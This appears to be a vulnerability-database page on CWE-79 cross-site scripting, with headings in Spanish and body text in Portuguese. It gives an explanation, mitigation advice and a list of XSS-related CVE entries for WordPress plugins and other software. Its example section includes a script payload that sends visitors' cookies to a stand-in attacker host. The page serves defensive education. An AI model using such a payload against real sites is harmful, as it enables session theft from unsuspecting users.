Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-5340MEDIUMMusic Player for Elementor <= 2.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via album_buy_url ParameterEPSS 0.3%CVE-2025-0805MEDIUMMortgage Calculator / Loan Calculator <= 1.5.20 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-37856MEDIUMCross Site Scripting vulnerability in Lost and Found Information System 1.0 allows a remote attacker to escalate privileges via the first, lEPSS 0.3%CVE-2026-26188MEDIUMSolspace Freeform plugin affected by Stored Cross-Site Scripting (XSS) in Freeform Craft Plugin CP UI (builder/integrations)EPSS 0.3%CVE-2024-0657MEDIUMInternal Link Juicer <= 2.23.4 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-33080HIGHFilament: Unvalidated Range and Values summarizer values can be used for XSSEPSS 0.3%CVE-2024-0703MEDIUMSticky Buttons <= 3.2.2 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-43127HIGHWordPress Products, Order & Customers Export for WooCommerce plugin <= 2.0.11 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-103418HIGHUniversal XSS via the HTML language attribute in Translation ServicesEPSS 0.3%CVE-2024-6849MEDIUMPreloader Plus – WordPress Loading Screen Plugin <= 2.2.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-46239MEDIUMMultiple cross-site scripting vulnerabilities exist in PHPGurukul Hospital Management System 4.0 via the docname parameter in /doctor/edit-pEPSS 0.3%CVE-2024-13648MEDIUMMaps for WP <= 1.2.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-4205MEDIUMPopup Maker <= 1.20.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via popupID ParameterEPSS 0.3%CVE-2026-10632HIGHZimbra Collaboration Suite Classic Web Client Reflected Cross-Site Scripting via Document Editor Packages ParameterEPSS 0.3%CVE-2024-11095MEDIUMVisualmodo Elements <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-3919MEDIUMWordPress Comments Import & Export <= 2.4.3 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-9134MEDIUMPhoto Gallery by FooGallery : Responsive Image Gallery, Masonry Gallery & Carousel <= 3.1.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_attribute_key' Shortcode ParameterEPSS 0.3%CVE-2024-13672MEDIUMMini Course Generator | Embed mini-courses and interactive content <= 1.0.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-0664MEDIUMMeks Smart Social Widget <= 1.6.3 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-34752HIGHWordPress Landing Page Builder <= 1.5.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%